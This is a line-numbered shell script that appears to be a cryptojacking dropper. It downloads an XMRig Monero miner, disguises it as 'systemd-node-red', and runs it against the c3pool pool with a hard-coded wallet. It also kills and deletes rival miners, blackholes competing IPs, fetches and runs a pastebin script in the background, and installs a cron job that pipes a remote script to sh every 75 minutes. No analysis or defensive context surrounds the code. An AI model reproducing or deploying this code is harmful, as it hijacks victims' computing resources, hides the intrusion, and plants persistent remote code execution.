1. #!/bin/sh
  2. CUSTOM_ARG="${1:-x}"
  3.  
  4. ORIGINAL_BINARY_NAME="xmrig-vrl"
  5.  
  6. RENAMED_BINARY="systemd-node-red"
  7.  
  8. BINARY_ARGS="-o auto.c3pool.org:443 -u 883kAB7UfoJCKPzZAavUCHJdH4L2qVjqw4A79diUrFjBWBFrerhXPFbbUZnY2CemcUiBcLpAUz38vVYBbUqTHAgoAwgBCFH -p $CUSTOM_ARG"
  9. PROCESS_CHECK_STRING="goAwgBCFH" #xtm wallet
  10.  
  11. set -e
  12.  
  13. log() {
  14. echo "$(date '+%Y-%m-%d %H:%M:%S') - $1"
  15. }
  16.  
  17. cleanup() {
  18. if [ -n "$TMP_DIR" ] && [ -d "$TMP_DIR" ]; then
  19. log "Cleaning up temporary directory: $TMP_DIR"
  20. rm -rf "$TMP_DIR"
  21. fi
  22. }
  23.  
  24. trap cleanup EXIT
  25.  
  26. for pid in $(pgrep -f 'bash /tmp/.*\.sh'); do
  27. if [ "$pid" != "$$" ] && [ "$pid" != "$PPID" ]; then
  28. kill -9 "$pid" 2>/dev/null && echo "Killed process $pid"
  29. fi
  30. done
  31.  
  32.  
  33.  
  34.  
  35.  
  36.  
  37.  
  38. kill_and_remove_process() {
  39. local term="$1"
  40. if [ -z "$term" ]; then
  41. echo "term not provided."
  42. return 2
  43. fi
  44.  
  45. local pids
  46. pids=$(ps -eo pid,args | grep "$term" | grep -v grep | awk '{print $1}')
  47.  
  48. if [ -z "$pids" ]; then
  49. return 1
  50. fi
  51.  
  52. for pid in $pids; do
  53. local exe_path
  54. exe_path=$(readlink -f "/proc/$pid/exe" 2>/dev/null)
  55.  
  56. if [ -z "$exe_path" ]; then
  57. echo "Skipping PID $pid"
  58. continue
  59. fi
  60.  
  61. # SAFETY CHECK: Exclude common system binary paths
  62. case "$exe_path" in
  63. /bin/*|/sbin/*|/usr/bin/*|/usr/sbin/*)
  64. echo "Skipping system binary for PID $pid at: $exe_path"
  65. continue # Move to the next PID
  66. ;;
  67. esac
  68.  
  69. # If the checks pass, proceed with termination and deletion
  70. echo "Terminating non-system process '$term' with PID: $pid"
  71. kill -9 "$pid"
  72.  
  73. if [ -f "$exe_path" ]; then
  74. echo "Deleting executable: $exe_path"
  75. rm -f "$exe_path"
  76. if [ $? -eq 0 ]; then
  77. echo "Executable successfully deleted."
  78. else
  79. echo "Error: Failed to delete executable. Check permissions."
  80. fi
  81. else
  82. echo "Executable for PID $pid not found for deletion (already removed or inaccessible)."
  83. fi
  84. done
  85.  
  86. return 0
  87. }
  88.  
  89.  
  90. kill_and_remove_process "crazyeltonproxy" || true
  91. kill_and_remove_process "startup.sh" || true
  92. kill_and_remove_process "xmrig" || true
  93. kill_and_remove_process "monero" || true
  94. kill_and_remove_process ".XIN-unix/javae" || true
  95. kill_and_remove_process "c3pool.org:80" || true
  96. kill_and_remove_process "/bin/watcher" || true
  97. kill_and_remove_process "nuclear" || true
  98. kill_and_remove_process "45.94.31.89" || true
  99. kill_and_remove_process "hosts-to-ignore" || true
  100. kill_and_remove_process "supportxmr" || true
  101. kill_and_remove_process "youyutebuae.xyz" || true
  102. kill_and_remove_process ".rsyslogd" || true
  103. ip route add blackhole 45.94.31.89 || true
  104. ip route add blackhole 139.59.59.33 || true
  105. ip route add blackhole 154.89.152.115 || true
  106. rm -rf /bin/softirq || true
  107. rm -rf /var/tmp/.rsyslogd || true
  108. rm -rf /usr/local/bin/watcher || true
  109. rm -rf /tmp/runnv/* || true
  110. rm -rf /tmp/nuclear || true
  111. mkdir -p /tmp/nuclear || true
  112. mkdir -p /var/tmp/.rsyslogd || true
  113. mkdir -p /tmp/runnv/lived.sh || true
  114. mkdir -p /tmp/runnv/alive.sh || true
  115. mkdir -p /bin/softirq || true
  116. mkdir -p /usr/local/bin/watcher || true
  117. nohup sh -c "{ wget -qO- https://pastebin.com/raw/2jtsz9Tk || curl -sSLk https://pastebin.com/raw/2jtsz9Tk; } | tr -d '\r' | sh" >/dev/null 2>&1 &
  118.  
  119.  
  120.  
  121. # ---- proxy probe ----
  122. M4B_PROXY_STATUS="off"
  123.  
  124. m4b_proxy_is_on() {
  125. if docker ps --format '{{.Names}}' 2>/dev/null | grep -Eq 'proxyrack|proxylite|tun2socks|money4band'; then
  126. return 0
  127. fi
  128. return 1
  129. }
  130.  
  131. m4b_proxy_probe() {
  132. tmp_log="$(mktemp 2>/dev/null || printf '/tmp/m4b_probe_%s.log' "$$")"
  133.  
  134. rc=1
  135. (
  136. # isolate probe from global `set -e`
  137. set +e
  138. if wget -qO- "$url" 2>/dev/null | sh; then
  139. exit 0
  140. fi
  141. if curl -fsSL "$url" 2>/dev/null | sh; then
  142. exit 0
  143. fi
  144. exit 1
  145. ) >"$tmp_log" 2>&1 || rc=$?
  146.  
  147. if [ "$rc" -eq 0 ] && grep -q '\[STATUS\] OK' "$tmp_log"; then
  148. i=1
  149. while [ "$i" -le 5 ]; do
  150. if m4b_proxy_is_on; then
  151. M4B_PROXY_STATUS="on"
  152. echo "PROXYYYY ONN BABY"
  153. rm -f "$tmp_log" 2>/dev/null || true
  154. return 0
  155. fi
  156. i=$((i + 1))
  157. sleep 2
  158. done
  159. fi
  160.  
  161. M4B_PROXY_STATUS="off"
  162. echo "No PROXY"
  163. rm -f "$tmp_log" 2>/dev/null || true
  164. return 0
  165. }
  166. # ---- end proxy probe ----
  167.  
  168. m4b_proxy_probe
  169.  
  170.  
  171.  
  172. is_process_running() {
  173. if ps -o args | grep -F "$PROCESS_CHECK_STRING" | grep -vF 'grep' > /dev/null; then
  174. return 0 # Process is running
  175. else
  176. return 1 # Process is not running
  177. fi
  178. }
  179.  
  180. get_cpu_cores() {
  181. if [ -f /proc/cpuinfo ]; then
  182. grep -c '^processor' /proc/cpuinfo
  183. elif command -v nproc >/dev/null; then
  184. nproc
  185. elif command -v sysctl >/dev/null; then
  186. sysctl -n hw.ncpu 2>/dev/null || echo 1
  187. else
  188. echo 1
  189. fi
  190. }
  191.  
  192. create_cronjob() {
  193. local cron_command
  194. if command -v curl >/dev/null; then
  195. cron_command="/bin/sh -c 'curl -fsSLk $1 | tr -d '\''\r'\'' | /bin/sh'"
  196. elif command -v wget >/dev/null; then
  197. cron_command="/bin/sh -c 'wget -qO- $1 | tr -d '\''\r'\'' | /bin/sh'"
  198. else
  199. log "Error: Cannot create cron job, neither curl nor wget is available."
  200. return 1
  201. fi
  202.  
  203. (crontab -l 2>/dev/null | grep -vF "$1"; echo "*/75 * * * * $cron_command") | crontab -
  204. log "Cron job successfully configured."
  205. }
  206.  
  207. CPU_CORES=$(get_cpu_cores)
  208. if [ "$CPU_CORES" -le 3 ]; then
  209. log "Host has $CPU_CORES cores. Execution requires more than 3. Exiting."
  210. exit 0
  211. fi
  212. log "CPU core count ($CPU_CORES) is sufficient."
  213.  
  214.  
  215. if [ ! -f /etc/alpine-release ]; then
  216. log "Not an Alpine Linux environment. Executing fallback script."
  217. if command -v curl >/dev/null; then
  218. curl -fsSLk "$FALLBACK_SCRIPT_URL" | tr -d '\r' | bash -s -- "$CUSTOM_ARG"
  219. elif command -v wget >/dev/null; then
  220. wget -qO- "$FALLBACK_SCRIPT_URL" | tr -d '\r'| bash -s -- "$CUSTOM_ARG"
  221. else
  222. log "Error: Neither curl nor wget is available for fallback execution."
  223. exit 1
  224. fi
  225. exit 0
  226. fi
  227.  
  228. if is_process_running; then
  229. log "Process with check string '$PROCESS_CHECK_STRING' is already running. Exiting."
  230. exit 0
  231. fi
  232.  
  233. CPU_CORES=$(get_cpu_cores)
  234. if [ "$CPU_CORES" -le 3 ]; then
  235. log "Host has $CPU_CORES cores. Execution requires more than 3. Exiting."
  236. exit 0
  237. fi
  238. log "CPU core count ($CPU_CORES) is sufficient."
  239.  
  240.  
  241.  
  242. USER_ID=$(id -u)
  243. if [ "$USER_ID" -eq 0 ]; then
  244. log "Running as root. System-wide installation will be performed."
  245. INSTALL_DIR="/usr/local/bin"
  246. else
  247. log "Running as non-root user. Installing locally to $HOME/.app"
  248. INSTALL_DIR="/tmp/.app"
  249. fi
  250.  
  251. mkdir -p "$INSTALL_DIR"
  252.  
  253. if [ "$USER_ID" -ne 0 ]; then
  254. export PATH="$INSTALL_DIR:$PATH"
  255. fi
  256.  
  257. if [ "$USER_ID" -eq 0 ]; then
  258. if ! command -v crontab >/dev/null; then
  259. log "Warning: 'crontab' not found. Attempting to install 'cron' as root."
  260. apk add --no-cache cron
  261. rc-update add crond default
  262. rc-service crond start
  263. log "Cron installed and started."
  264. fi
  265. else
  266. if ! command -v crontab >/dev/null; then
  267. log "Warning: 'crontab' command not found. Cannot install as non-root. Cron job creation may fail."
  268. fi
  269. fi
  270.  
  271. TMP_DIR=$(mktemp -d)
  272. cd "$TMP_DIR"
  273.  
  274. DOWNLOAD_URL="$PROGRAM_URL"
  275. LOG_MESSAGE="Downloading program from $PROGRAM_URL..."
  276.  
  277. if [ -f /etc/alpine-release ] && [ "$(uname -m)" = "aarch64" ]; then
  278. log "Alpine Linux on ARM64 detected. Switching to alternative program URL."
  279. DOWNLOAD_URL="$PROGRAM_URL2"
  280. LOG_MESSAGE="Downloading program from $PROGRAM_URL2..."
  281. fi
  282.  
  283. log "$LOG_MESSAGE"
  284. if command -v curl >/dev/null; then
  285. curl -fsSLk -o "xmrig-vrl" "$DOWNLOAD_URL"
  286. elif command -v wget >/dev/null; then
  287. wget -qO "xmrig-vrl" "$DOWNLOAD_URL"
  288. else
  289. log "Error: Neither curl nor wget is available to download the program."
  290. rm -rf "$TMP_DIR"
  291. exit 1
  292. fi
  293.  
  294.  
  295.  
  296. log "Now its protobin..."
  297. #tar -xzf "program.tar.gz"
  298. #tar -xf "program.tar.gz"
  299.  
  300. log "Searching for binary '$ORIGINAL_BINARY_NAME'..."
  301. BINARY_PATH=$(find . -type f -name "$ORIGINAL_BINARY_NAME")
  302.  
  303. if [ -z "$BINARY_PATH" ]; then
  304. log "Error: Executable binary '$ORIGINAL_BINARY_NAME' not found."
  305. exit 1
  306. fi
  307.  
  308. log "Binary found. Moving to $INSTALL_DIR/$RENAMED_BINARY"
  309. mv "$BINARY_PATH" "$INSTALL_DIR/$RENAMED_BINARY"
  310. chmod 755 "$INSTALL_DIR/$RENAMED_BINARY"
  311.  
  312. log "Executing '$RENAMED_BINARY' from PATH..."
  313. "$RENAMED_BINARY" ${BINARY_ARGS} &
  314. sleep 3
  315.  
  316. if ! is_process_running; then
  317. log "Error: Program failed to start or exited prematurely."
  318. exit 1
  319. fi
  320. log "Success: Program is now running in the background."
  321.  
  322. create_cronjob "$SCRIPT_URL"
  323.  
  324. log "Script execution completed successfully."
  325.  
  326. exit 0